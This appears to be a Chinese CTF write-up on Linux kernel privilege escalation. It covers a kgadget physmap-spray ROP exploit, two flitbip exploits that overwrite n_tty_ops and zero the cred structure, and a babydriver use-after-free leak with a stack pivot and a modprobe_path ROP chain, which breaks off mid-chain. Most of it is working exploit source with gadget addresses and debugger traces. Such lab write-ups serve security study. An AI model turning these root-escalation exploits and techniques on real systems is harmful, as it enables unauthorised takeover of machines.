"syscall;"
);
}
//void *mmap(void *addr, size_t length, int prot, int flags, int fd, long int offset) {
// return (void *)syscall64(9, addr, length, prot, flags, fd, offset);
//}
int open(char *file,int prot){
return syscall64(2, file, prot);
}
int read(int fd, char *buf, int length){
return syscall64(0, fd, buf, length);
}
int write(int fd, char *buf, int length){
return syscall64(1, fd, buf, length);
}
int ioctl(int fd, size_t cmd, char *buf){
return syscall64(0x10, fd, cmd, buf);
}
size_t execve(char *cmd, size_t* args, char *environ){
return syscall64(0x3b, cmd, args, environ);
}
int sendfile(size_t dst_fd, size_t src_fd, size_t offset, size_t count){
syscall64(0x28, dst_fd, src_fd, offset, count);
}
int chmod(char *file,int mode){ return syscall64(0x5a, file, mode, 0);
}
int fork(){return syscall64(57, 0, 0, 0);}
static size_t getuid(){return syscall64(0x66, 0, 0, 0);}
static size_t getpid(){return syscall64(0x27, 0, 0, 0);}
static int sched_setaffinity(size_t pid, size_t cpusetsize, const cpu_set_t *cupset){
return syscall64(0xcb, pid, cpusetsize, cupset);
}
static void bind_core(int core){
cpu_set_t cpu_set;
CPU_ZERO(&cpu_set);
CPU_SET(core, &cpu_set);
sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
}
static void system(char *command){
int pid = fork();
if(pid>0){
char *argv[] = {"sh", "-c", command, NULL, NULL};
execve("/bin/sh", argv, environ);
}
}
void puts(char * Str){
int length=0;
while(Str[length]!=0){++length;}
write(1,Str,length);
write(1,"\n",1);
}
void hex(size_t IntHex){
char buf[0x20]={0};
size_t idx = 0x18;
while (idx > 1) {
buf[idx] = "0123456789ABCDEF"[IntHex & 0xF];
IntHex >>= 4;
if(IntHex==0){
buf[idx-2]='0';
buf[idx-1]='x';
break;
}
idx--;
}
puts(&buf[idx]-2);
}
void lss(char * Str, size_t IntHex){
int length=0;
while(Str[length]!=0){++length;}
write(1,Str,length);
write(1,"\t = ",3);
hex(IntHex);
}
void hex_num(size_t IntHex,size_t idx){
char buf[0x20]={0};
while (idx > 0) {
buf[idx] = "0123456789ABCDEF"[IntHex & 0xF];
IntHex >>= 4;
idx--;
}
write(1,&buf,0x18);
}
uint64_t byte_to_long(char *b, size_t byte_len) {
uint64_t value = 0;
size_t i;
if (byte_len > sizeof(uint64_t)) {
byte_len = sizeof(uint64_t);
}
for (i = 0; i < byte_len; i++) {
value <<= 8;
value |= (uint8_t)b[byte_len - 1 - i];
}
return value;
}
// strings.h
void strncpy(char dst[], char src[], size_t n){
size_t i;
for(i = 0; i < n ; i++){
dst[i] = src[i];
}
dst[i] = '\x00';
}
void *strcat(char * dest, const char * src){
char *tmp = dest;
while (*dest)
dest++;
while ((*dest++ = *src++) != '\0')
;
return tmp;
}
void * malloc(size_t size){
return mmap(0, 0x1000, 3, 33, -1, 0);
}
void memset(void *s, int c, size_t n){
char *xs = s;
while (n--)
*xs++ = c;
return s;
}
char * repeat(char *ptr, char c,size_t n){
memset(ptr, c, n);
return ptr;
}
void hexdump(unsigned char *text, size_t size){
const size_t row_size = 16;
int i,j;
for (i = 0; i < size; i += row_size) {
hex_num(i,8);
write(1," ", 2);
for (j = 0; j < row_size && i + j < size; j++) {
hex_num((unsigned char)text[i + j], 2);
write(1," ", 1);
}
for (; j < row_size; j++) {
write(1," ",3);
}
write(1," |",3);
for (j = 0; j < row_size && i + j < size; j++) {
if ((text[i + j]) >= 32 && text[i+j] <127) {
write(1, &text[i+j], 1);
} else {
write(1, ".", 1);
}
}
write(1,"|",1);
write(1,"\n", 1);
}
}
exploit
- prepare_kernel_cred
- swapgs_restore_regs_and_return_to_usermode
- 提权
- exploit
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
#include "minilib.h"
char flag[0x50] = {0};
int fd;
size_t user_cs, user_ss, user_rflags, user_sp;
void save_status(){
asm volatile (
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}
static void get_root_shell(){
int uid = getuid();
hex(uid);
system("/bin/sh");
//chmod("/flag",0777);
syscall64(60,0);
}
static size_t shell_addr = &get_root_shell;
static void shellcode(){
asm volatile (
"xor rdi, rdi;"
"mov rcx, prepare_kernel_cred;"
"call rcx;"
"mov rcx, commit_creds;"
"call rcx;"
// swapgs_restore_regs_and_return_to_usermode -- mov rdi,rsp
);
// restore_flags
asm volatile (
"nop;"
"nop;"
"push user_ss;"
"push user_sp;"
"push user_rflags;"
"push user_cs;"
"push shell_addr;"
"swapgs;"
"iretq;"
);
}size_t sc_addr = &shellcode + 8;
void modprobe_rce(){
system("echo -ne '#!/bin/sh\n/bin/chmod 777 /flag\n' > /tmp/e1");
system("chmod +x /tmp/e1");
system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/e2");
system("chmod +x /tmp/e2");
system("/tmp/e2"); // sh: /tmp/e2: Permission denied
system("/tmp/e2"); // ./tmp/e2: line 1: : not found
system("cat /flag");
system("cat /flag");
}
size_t pop_rsp_ret = 0xffffffff811483d0;
size_t add_rsp_0xC0 = 0xffffffff81488561; // cat gadget.txt |grep "add rsp, 0xa8", pop x N;ret
size_t pop_rdi = 0xffffffff8108c6f0;
size_t prepare_kernel_cred = 0xffffffff810c9540;
size_t commit_creds = 0xffffffff810c92e0;
size_t swapgs_restore_regs_and_return_to_usermode = 0xffffffff81c00fb0 + 27;
void physmap_spary()
{
int i = 0, j = 0;
size_t* rop;
for (i = 0; i < 15000; i++)
{
rop = mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE, -1, 0);
int j = 0;
rop[j++] = add_rsp_0xC0;
rop[j++] = pop_rdi;
rop[j++] = 0;
rop[j++] = prepare_kernel_cred;
//rop[j++] = mov_rdi_rax; prepare_kernel_cred ret 后 rax 和 rdi 是一样的所以没必要 mov 了
rop[j++] = commit_creds;
rop[j++] = swapgs_restore_regs_and_return_to_usermode;
rop[j++] = 0;
rop[j++] = 0;
rop[j++] = shell_addr;
rop[j++] = user_cs;
rop[j++] = user_rflags;
rop[j++] = user_sp;
rop[j++] = user_ss;
}
}
void doMain(){
save_status();
char procn[0x30] = "/dev/kgadget";
fd = open(procn,2);
physmap_spary();
__asm__(
"mov r15, 0x1111;"
"mov r14, 0x2222;"
"mov r13, 0x3333;"
"mov r12, 0x4444;"
"mov r11, 0x5555;"
"mov r10, 0x6666;"
"mov r9, pop_rsp_ret;"
"mov r8, 0xffff888000000000 + 0x6000000 + 8;"
"mov rcx, 0x9999;"
"mov rbx, 0xaaaa;"
"mov rdx, 0xffff888000000000+0x6000000;"
"mov rsi, 0x1BF52;"
"mov rdi, fd;"
"mov rax, 0x10;"
"syscall;"
);
}
extern void _start(){
size_t env[0];
environ = &env[4];
doMain();
syscall64(60,0);
}
midnightsun2018-flitbip(白给的漏洞)
题目分析
init 关闭了地址随机化
1
2
3
4
5
6
7
8
9
#!/bin/bash
qemu-system-x86_64 \
-m 128M \
-kernel ./bzImage \
-initrd ./initrd \
-nographic \
-monitor /dev/null \
-append "nokaslr root=/dev/ram rw console=ttyS0 oops=panic paneic=1 quiet" 2>/dev/null
添加了新的 syscall
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/sched.h>
#include <linux/syscalls.h>
#define MAXFLIT 1
#ifndef __NR_FLITBIP
#define FLITBIP 333
#endif
long flit_count = 0;
EXPORT_SYMBOL(flit_count);
SYSCALL_DEFINE2(flitbip, long *, addr, long, bit)
{
if (flit_count >= MAXFLIT)
{
printk(KERN_INFO "flitbip: sorry :/\n");
return -EPERM;
}
*addr ^= (1ULL << (bit));
flit_count++;
return 0;
}
表面上看这个syscall 只能用一次, 由于 flit_count 是一个 有符号数,如果 flit_count
是一个负数 也会符合小于0的条件从而绕过“只能使用一次的限制”,关闭了地址刷 kaslr
flit_count
地址就是已知的了,所以说第一次修改 flit_count
为一个负数即可多次使用 FLITBIP
漏洞利用过程
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
int flitbip(size_t addr,int bit){
syscall64(333, addr, bit);
}
void doMain(){
size_t test_addr = 0xffffffff818f4f70;
size_t flit_count = 0xffffffff818f4f78;
flitbip(flit_count , 63);
// >>> hex(1 << 63)
// 0x8000000000000000
for(int i=0;i<0x40;i++){
flitbip(test_addr,i);
}
没有 /sbin/modprobe
劫持 fops
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
static struct tty_ldisc_ops n_tty_ops = {
.magic = TTY_LDISC_MAGIC,
.name = "n_tty",
.open = n_tty_open,
.close = n_tty_close,
.flush_buffer = n_tty_flush_buffer,
.read = n_tty_read,
.write = n_tty_write,
.ioctl = n_tty_ioctl,
.set_termios = n_tty_set_termios,
.poll = n_tty_poll,
.receive_buf = n_tty_receive_buf,
.write_wakeup = n_tty_write_wakeup,
.receive_buf2 = n_tty_receive_buf2,
};
# 初期化
static int __init pps_tty_init(void)
{
int err;
/* Inherit the N_TTY's ops */
n_tty_inherit_ops(&pps_ldisc_ops);
(snipped)
跟一下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
*RAX 0xffffffffffffffff
*RBX 0xffffc9000007ff58 ◂— 0
*RCX 0
*RDX 0
RDI 0
*RSI 0xffffc9000007ff58 ◂— 0
R8 0
*R9 0
R10 0
*R11 0
R12 0
R13 0
R14 0
R15 0
*RBP 0
*RSP 0xffffc9000007ff40 ◂— 0
*RIP 0xffffffff81000be5 (do_syscall_64+105) ◂— mov rax, qword ptr [rdi*8 - 0x7e9ffee0]
───────────────────────────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]────────────────────────────────────────────────────────────────────────────
0xffffffff81000bcf <do_syscall_64+83> cmp rdi, 0x223
0xffffffff81000bd6 <do_syscall_64+90> ja 0xffffffff81000bf9 <do_syscall_64+125>
0xffffffff81000bd8 <do_syscall_64+92> cmp rdi, 0x224
0xffffffff81000bdf <do_syscall_64+99> sbb rax, rax
0xffffffff81000be2 <do_syscall_64+102> and rdi, rax
► 0xffffffff81000be5 <do_syscall_64+105> mov rax, qword ptr [rdi*8 - 0x7e9ffee0] RAX, [sys_call_table] => 0xffffffff8107b71c (__x64_sys_read) ◂— mov rdx, qword ptr [rdi + 0x60]
0xffffffff81000bed <do_syscall_64+113> mov rdi, rbx
0xffffffff81000bf0 <do_syscall_64+116> call 0xffffffff81402000
- 直接 read 的表是只读的,改不了,可以继续跟踪,
- 执行到
tty_read
就可以看到 有一个n_tty_ops
是一个RW 的权限,
1
2
3
4
5
6
7
8
9
10
11
12
entry_SYSCALL_64
entry_SYSCALL_64_after_hwframe
do_syscall_64
__x86_indirect_thunk_rax
__x64_sys_read
ksys_read
vfs_read
__vfs_read
__x86_indirect_thunk_r8
tty_read+129 // 可以在这里断点调试
__x86_indirect_thunk_rax
n_tty_read
- 尝试修改
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
void doMain(){
size_t test_addr = 0xffffffff818f4f70;
size_t flit_count = 0xffffffff818f4f78;
flitbip(flit_count , 63);
// for(int i=0;i<0x40;i++){
// flitbip(test_addr,i);
// }
// >>> hex(1 << 63)
// 0x8000000000000000
size_t n_tty_ops = 0xffffffff8183e320;
size_t n_tty_read_got = n_tty_ops + 0x30;
size_t n_tty_read = 0xffffffff810c8510;
size_t target = 0x4142434445464748;
size_t x = 0;
size_t y = 0;
for(int i=0;i<0x40;i++){
x = (n_tty_read >> i) & 1;
y = (target >> i) & 1;
if(x != y){
flitbip(n_tty_read_got, i);
}
}
}
exploit1.c
SMEP 已被禁用 , 内核态可以执行用户态的text 段, ret2shellcode
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
#include "minilib.h"
char flag[0x50] = {0};
int fd;
size_t user_cs, user_ss, user_rflags, user_sp;
void save_status(){
asm volatile (
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}
// #define MAXFLIT 1
//
// #ifndef __NR_FLITBIP
// #define FLITBIP 333
// #endif
//
// long flit_count = 0;
// EXPORT_SYMBOL(flit_count);
//
// SYSCALL_DEFINE2(flitbip, long *, addr, long, bit)
// {
// if (flit_count >= MAXFLIT)
// {
// printk(KERN_INFO "flitbip: sorry :/\n");
// return -EPERM;
// }
//
// *addr ^= (1ULL << (bit));
// flit_count++;
//
// return 0;
// }
int flitbip(size_t addr,int bit){
syscall64(333, addr, bit);
}
size_t test_addr = 0xffffffff818f4f70;
size_t flit_count = 0xffffffff818f4f78;
size_t n_tty_ops = 0xffffffff8183e320;
size_t n_tty_read = 0xffffffff810c8510;
size_t target = 0x4142434445464748;
//typedef void (*run_cmd_t)(char * buf);
typedef size_t (*run_cmd_t)(size_t a1);
static void shellcode(){
// 恢复 n_ttu_ops
size_t n_tty_read_got = n_tty_ops + 0x30;
((size_t*)n_tty_read_got)[0] = n_tty_read;
run_cmd_t prepare_kernel_cred = (run_cmd_t)0xffffffff81033e92;
run_cmd_t commit_creds = (run_cmd_t)0xffffffff81033d41;
commit_creds(prepare_kernel_cred(0));
// 貌似没有执行命令
// run_cmd_t run_cmd = (run_cmd_t)0xffffffff81033f38;
// run_cmd("id > /home/flitbip/id");
asm volatile ("ret;");
}
size_t sc_addr = (size_t)&shellcode + 0xC;
void doMain(){
size_t test_addr = 0xffffffff818f4f70;
size_t flit_count = 0xffffffff818f4f78;
flitbip(flit_count , 63);
// for(int i=0;i<0x40;i++){
// flitbip(test_addr,i);
// }
// >>> hex(1 << 63)
// 0x8000000000000000
size_t n_tty_read_got = n_tty_ops + 0x30;
size_t x = 0;
size_t y = 0;
for(int i=0;i<0x40;i++){
x = (n_tty_read >> i) & 1;
y = (sc_addr >> i) & 1;
if(x != y){
flitbip(n_tty_read_got, i);
}
}
char buf[0x100] = {0};
repeat(buf, 'A', 0x80);
read(0, buf, 0x100);
system("/bin/sh");
}
extern void _start(){
size_t env[0];
environ = (size_t)&env[4];
doMain();
syscall64(60,0);
}
exploit2.c
再来分析一下 这个
1
2
pwndbg> telescope 0xffffffff8182e040
00:0000│ 0xffffffff8182e040 (current_task) —▸ 0xffff88000230c000
cred 结构体
0x3e8 就是 1000 权限uid, 全部改成0 就是 root 了
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
#include "minilib.h"
char flag[0x50] = {0};
int fd;
size_t user_cs, user_ss, user_rflags, user_sp;
void save_status(){
asm volatile (
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}
// #define MAXFLIT 1
//
// #ifndef __NR_FLITBIP
// #define FLITBIP 333
// #endif
//
// long flit_count = 0;
// EXPORT_SYMBOL(flit_count);
//
// SYSCALL_DEFINE2(flitbip, long *, addr, long, bit)
// {
// if (flit_count >= MAXFLIT)
// {
// printk(KERN_INFO "flitbip: sorry :/\n");
// return -EPERM;
// }
//
// *addr ^= (1ULL << (bit));
// flit_count++;
//
// return 0;
// }
int flitbip(size_t addr,int bit){
syscall64(333, addr, bit);
}
size_t test_addr = 0xffffffff818f4f70;
size_t flit_count = 0xffffffff818f4f78;
size_t n_tty_ops = 0xffffffff8183e320;
size_t n_tty_read = 0xffffffff810c8510;
size_t target = 0x4142434445464748;
//typedef void (*run_cmd_t)(char * buf);
typedef size_t (*run_cmd_t)(size_t a1);
static void shellcode(){
// 恢复 n_ttu_ops
size_t n_tty_read_got = n_tty_ops + 0x30;
((size_t*)n_tty_read_got)[0] = n_tty_read;
asm volatile(
"nop;"
"nop;"
"nop;"
"nop;"
"nop;"
"nop;"
"nop;"
"nop;"
"nop;"
"nop;"
"nop;"
"nop;"
"mov rax, 0xffffffff8182e040;"
"mov rax,[rax];"
"add rax,0x3c0;"
"mov rax,[rax];"
"xor rdi,rdi;"
"add rax, 4;"
"mov [rax], rdi;"
"add rax, 8;"
"mov [rax], rdi;"
"add rax, 8;"
"mov [rax], rdi;"
"add rax, 8;"
"mov [rax], rdi;"
"ret;"
);
// 貌似没有执行命令
// run_cmd_t run_cmd = (run_cmd_t)0xffffffff81033f38;
// run_cmd("id > /home/flitbip/id");
}
size_t sc_addr = (size_t)&shellcode + 0x8;
void doMain(){
size_t test_addr = 0xffffffff818f4f70;
size_t flit_count = 0xffffffff818f4f78;
flitbip(flit_count , 63);
// for(int i=0;i<0x40;i++){
// flitbip(test_addr,i);
// }
// >>> hex(1 << 63)
// 0x8000000000000000
size_t n_tty_read_got = n_tty_ops + 0x30;
size_t target = n_tty_read ^ sc_addr;
for(int i=0;i<0x40;i++){
if((target>>i)&1){
flitbip(n_tty_read_got, i);
}
}
char buf[0x100] = {0};
repeat(buf, 'A', 0x80);
read(0, buf, 0x100);
system("/bin/sh");
}
extern void _start(){
size_t env[0];
environ = (size_t)&env[4];
doMain();
syscall64(60,0);
}
参考
1
https://blog.smallkirby.com/posts/flitbip/
ncstisc2018-babydriver(UAF)
题目分析
init 文件, 加载了一个ko内核驱动模块
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#!/bin/sh
mount -t proc none /proc
mount -t sysfs none /sys
mount -t devtmpfs devtmpfs /dev
echo "flag{this_is_a_sample_flag}" > flag
chown root:root flag
chmod 400 flag
exec 0</dev/console
exec 1>/dev/console
exec 2>/dev/console
insmod /lib/modules/4.4.72/babydriver.ko
chmod 777 /dev/babydev
echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"
setsid cttyhack setuidgid 1000 sh
umount /proc
umount /sys
poweroff -d 0 -f
- 启动参数 SMEP 已启用、SMAP 已禁用、oops->panic、KASLR 已启用
1
2
3
4
5
qemu-system-x86_64 -initrd rootfs.cpio -s \
-kernel bzImage \
-append 'console=ttyS0 root=/dev/ram oops=panic panic=1' \
-enable-kvm -monitor /dev/null -m 64M \
--nographic -smp cores=1,threads=1 -cpu kvm64,+smep
-
qemu-system-x86_64
- 启动 QEMU 进行 x86_64 架构的虚拟化。
qemu-system-x86_64
是 QEMU 提供的一个可执行文件,用于模拟 x86_64 架构的系统。
- 启动 QEMU 进行 x86_64 架构的虚拟化。
-
-initrd rootfs.cpio
- 指定初始 RAM 文件系统(initrd)的路径。这里使用了
rootfs.cpio
作为initrd
。initrd
是一个临时的根文件系统,通常用于在启动过程中提供必需的工具和驱动程序。它通常会在内核启动时被加载。
- 指定初始 RAM 文件系统(initrd)的路径。这里使用了
-
-s
- 启用 GDB 调试服务器,并在默认的端口
1234
上监听连接。使用此参数后,你可以使用 GDB 连接到 QEMU 进行调试。
- 启用 GDB 调试服务器,并在默认的端口
-
-kernel bzImage
- 指定内核映像的路径。这里使用了
bzImage
,它是编译过的 Linux 内核镜像文件。bzImage
是一种压缩过的内核镜像格式,通常用于启动 Linux 系统。
- 指定内核映像的路径。这里使用了
-
-append 'console=ttyS0 root=/dev/ram nokaslr oops=panic panic=1'
-
启动内核时传递给内核的参数。各个参数的作用如下:
-
console=ttyS0
:将内核的控制台输出重定向到ttyS0
(即串行端口 0)。这允许通过串行终端看到内核启动日志和调试信息。 -
root=/dev/ram
:指定根文件系统的位置为/dev/ram
,通常与内存文件系统一起使用,这意味着内核将从 RAM 中加载根文件系统,而不是从硬盘中读取。 -
nokaslr
:禁用地址空间布局随机化(ASLR)。ASLR 会随机化内核地址,这对于调试和一些类型的漏洞利用是不方便的,因此在调试时通常会禁用它。 -
oops=panic
:当内核发生 Oops 错误(一般指内核级的崩溃)时,触发 panic。默认行为是继续运行,但此设置将导致系统在遇到 Oops 错误时立即崩溃。 -
panic=1
:内核在 panic 时会立即重启。这里设置为 1,意味着内核发生 panic 后立即重启。
-
-
-
-enable-kvm
- 启用 KVM(Kernel-based Virtual Machine)。这使得 QEMU 使用硬件加速(如果硬件支持)来提高虚拟化性能。启用 KVM 可以显著提高模拟器的性能,尤其是在支持硬件虚拟化的处理器上。
-
-monitor /dev/null
- 禁用 QEMU 的监控控制台。通常情况下,QEMU 提供一个监控界面,允许你通过命令控制虚拟机的行为。使用
/dev/null
作为目标会使得该接口不输出任何内容,从而禁用监控。
- 禁用 QEMU 的监控控制台。通常情况下,QEMU 提供一个监控界面,允许你通过命令控制虚拟机的行为。使用
-
-m 64M
- 指定虚拟机的内存大小为 64MB。你可以根据需要调整内存的大小,尤其是在资源受限的环境中运行 QEMU 时,减少内存消耗可能是有意义的。
-
--nographic
- 禁用 QEMU 的图形输出,改为使用控制台输出。通常,在没有图形用户界面的环境中使用
--nographic
来使得 QEMU 在终端模式下运行,这样可以通过串行终端或标准输出查看虚拟机的输出。
- 禁用 QEMU 的图形输出,改为使用控制台输出。通常,在没有图形用户界面的环境中使用
-
-smp cores=1,threads=1
-
设置虚拟机的 CPU 配置:
-
cores=1
:虚拟机有一个 CPU 核心。 -
threads=1
:每个核心只有一个线程。这意味着虚拟机只有一个 CPU 核心,没有启用超线程。
-
-
你可以根据需要修改为更多的核心和线程。
-
-
-cpu kvm64,+smep
-
设置虚拟机的 CPU 类型和特性:
-
kvm64
:指定虚拟机使用的 CPU 模型为kvm64
,这是 QEMU 中为 KVM 虚拟化提供的默认 CPU 模型。 -
+smep
:启用 SMEP(Supervisor Mode Execution Prevention)。SMEP 是一种硬件级别的安全机制,防止在内核模式下执行用户空间的代码。启用 SMEP 提高了虚拟机的安全性。
-
-
ko模块分析, 四个功能 open
ioctl
write
read
, 还有一个 babyrelease
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
__int64 babyopen()
{
babydev_struct = (char *)kmem_cache_alloc_trace(kmalloc_caches[6], 0x24000C0LL, 64LL);
G_size = 64LL;
printk("device open\n");
return 0LL;
}
__int64 __fastcall babyrelease()
{
kfree(babydev_struct);
printk("device release\n");
return 0LL;
}
__int64 babyioctl(size_t fd, unsigned int cmd, size_t size)
{
if ( cmd == 0x10001 )
{
kfree(babydev_struct);
babydev_struct = _kmalloc(size, 37748928LL);
G_size = size;
printk("alloc done\n");
return 0LL;
}
else
{
printk(&unk_2EB);
return -22LL;
}
}
ssize_t babywrite(size_t *file, char *user_buffer, size_t length, size_t *offset)
{
ssize_t result; // rax
if ( !babydev_struct )
return -1LL;
result = -2LL;
if ( G_size > length )
{
copy_from_user(babydev_struct, user_buffer, length);
return length;
}
return result;
}
ssize_t babyread(size_t *file, char *user_buffer, size_t length, size_t *offset)
{
ssize_t result; // rax
if ( !babydev_struct )
return -1LL;
result = -2LL;
if ( G_size > length )
{
copy_to_user(user_buffer, babydev_struct, length);
return length;
}
return result;
}
从上面的代码可以分析出一个UAF 漏洞, 可以同时打开两次,close fd1 一个后 会 free 堆块,没有清空指针,然后还剩一个fd2 可以继续对堆块进行操作
出了点小问题
无论是 有 还是没有 nokaslr
kernel地址都没有变化,
- 感觉环境有点问题,所以说我用 linux 6.11 重新编译了一个ko
stat文件 泄露地址原理
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
void doMain(){
bind_core(0);
size_t *ptr1 = (size_t*)malloc(0x1000);
fd = odp(vuln_ko);
fd1 = odp(vuln_ko);
lss("fd = ",(size_t)fd);
ioctl(fd1, 0x10001 ,(char *)0x20); // kmalloc 0x20 UAF,
close(fd1);
int statfd = open("/proc/self/stat", O_RDONLY); // 也会申请 0x20
show((char *)ptr1, 0x10);
hexdump((char *)ptr1, 0x100);
}
- 调用链
1
2
3
4
5
6
7
8
9
10
11
12
entry_SYSCALL_64
do_syscall_64
x64_sys_call
__x64_sys_open
do_sys_openat2
do_filp_open
path_openat
vfs_open
do_dentry_open+508
__x86_indirect_thunk_array+416
proc_single_open
single_open
然后也是申请到 了
UAF stat hijack
修改 这个 single_start
调用链
1
2
3
4
5
6
7
8
9
10
11
12
13
14
read(statfd, (char *)nbuf, 0x11);
entry_SYSCALL_64
do_syscall_64
x64_sys_call
__x64_sys_read
ksys_read
vfs_read
__x86_indirect_thunk_array
► 0xffffffff81f8f626 <__x86_indirect_thunk_array+6> mov qword ptr [rsp], rax [0xffffc900001cfe60] <= 0xffffffff812d3f80 (seq_read) ◂— endbr64
0xffffffff81f8f62a <__x86_indirect_thunk_array+10> ret
seq_read
seq_read_iter
seq_read_iter+226
__x86_indirect_thunk_array
gadget-ROP
由于这题只开启了 SMEP 并没有开启 SMAP,所以说 可以找个控制 rsp 的
1
cat gadget.txt|grep ": mov esp, 0x"|grep "ret;"
1
2
3
// 0xffffffff81482605: mov esp, 0xebc58948; ret;
size_t gadstack = 0xebc58948;
size_t *nbuf = (size_t *)mmap(gadstack & ~0xFFF, 4*PAGE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0);
然后就可是ROP了
exploit1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
#include "minilib.h"
#define stbase(value) ((value) - 0xffffffff81000000ULL)
char flag[0x50] = {0};
int fd;
static void shellcode(){
asm volatile (
"xor rdi, rdi;"
"mov rcx, prepare_kernel_cred;"
"call rcx;"
"mov rcx, commit_creds;"
"call rcx;"
// swapgs_restore_regs_and_return_to_usermode -- mov rdi,rsp
);
}size_t sc_addr = (size_t)&shellcode + 8;
char *vuln_ko = "/proc/kuaf1";
int odp(char *path){
int i = open(path, 2);
if(i<0){
puts("open error.");
_exit(0);
}
}
int fd1 =0;
size_t kernel_base = 0;
void doMain(){
bind_core(0);
save_status();
size_t *ptr = (size_t*)malloc(0x1000);
fd = odp(vuln_ko);
fd1 = odp(vuln_ko);
lss("fd = ",(size_t)fd);
ioctl(fd1, 0x10001 ,(char *)0x20); // kmalloc 0x20
close(fd1);
int statfd = open("/proc/self/stat", O_RDONLY);
read(fd, (char *)ptr, 0x10);
hexdump((char *)ptr, 0x20);
size_t single_start = ptr[0];
kernel_base = single_start - stbase(0xffffffff812d2910);
lss("kernel_base", kernel_base);
size_t gadstack = 0xebc58948;
// 0xffffffff81482605: mov esp, 0xebc58948; ret;
size_t target = kernel_base + stbase(0xffffffff81482605);
write(fd, (char *)&target, 8);
size_t *nbuf = (size_t *)mmap(gadstack & ~0xFFF, 4*PAGE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0);
size_t modprobe_path = kernel_base + stbase(0xffffffff82b3f400);
size_t pop_rdi = 0xffffffff8133e208; // pop rdi; ret;
size_t pop_rsi = 0xffffffff8103aa26; // pop rsi; ret;
size_t mov_rsi_edi = 0xffffffff81c8e47c; //mov dword ptr [rsi - 0x16000005], edi; ret;
size_t swapgs_restore_regs_and_return_to_usermode = kernel_base + stbase(0xffffffff82001637);
// 0xffffffff82001637 <common_interrupt_return+103>: mov rdi,rsp
// 0xffffffff8200163a <common_interrupt_return+106>: mov rsp,QWORD PTR gs:[rip+0x7e0049c2] # 0x6004 <cpu_tss_rw+4>
// 0xffffffff82001642 <common_interrupt_return+114>: push QWORD PTR [rdi+0x30]
// 0xffffffff82001645 <common_interrupt_return+117>: push QWORD PTR [rdi+0x28]
puts(g_color "Constructing ROP");
char *tf[] = {"/tmp","/e1\x00\x00"};
int i = 0x948/8;
nbuf[i++] = pop_rdi;
nbuf[i++] = ((int*)tf[0])[0];
nbuf[i++] = pop_rsi;
nbuf[i++] = modprobe_path + 0x16000005;
nbuf[i++] = mov_rsi_edi;
nbuf[i++] = pop_rdi;
nbuf[i++] = ((int*)tf[1])[0];
nbuf[i++] = pop_rsi;
nbuf[i++] = modprobe_path + 0x16000005 + 4;
nbuf[i++] = mov_rsi_edi;
